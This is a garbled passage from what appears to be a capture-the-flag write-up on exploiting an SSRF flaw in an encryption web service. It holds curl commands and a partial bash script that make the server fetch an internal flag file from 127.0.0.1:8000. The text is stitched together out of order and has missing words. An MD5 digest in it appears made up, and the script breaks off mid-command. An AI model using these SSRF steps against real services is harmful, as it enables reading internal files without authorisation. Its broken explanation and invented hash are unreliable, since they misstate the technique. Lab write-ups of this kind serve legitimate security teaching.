curl -s -X POST http://v2.fams.cc/encrypt \ -d "url=http://127.0.0.1:8000/secret/flag.txt&key=ssrf" \ -o response.json Result ( response.json ):
>>> import hashlib >>> hashlib.md5(b'testkey').hexdigest() '3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c' The server also generates a random 16‑byte IV and prefixes it to the ciphertext (standard practice). The download URL returns a that is exactly IV || ciphertext . 4. Exploiting the SSRF The url parameter is fetched server‑side without any allow‑list. The backend runs on a Docker container that also hosts an internal file‑server on port 8000 . The file‑server’s directory tree (found via a quick port scan on the internal IP 127.0.0.1 ) looks like this: v2.fams.cc
# 1️⃣ Ask the service to encrypt the internal flag file RESP=$(curl -s -X POST "$TARGET/encrypt" \ -d "url=$SSRF_URL&key=$KEY") DOWNLOAD=$(echo "$RESP" | jq -r .download) USED_KEY=$(echo "$RESP" | jq -r .used_key) curl -s -X POST http://v2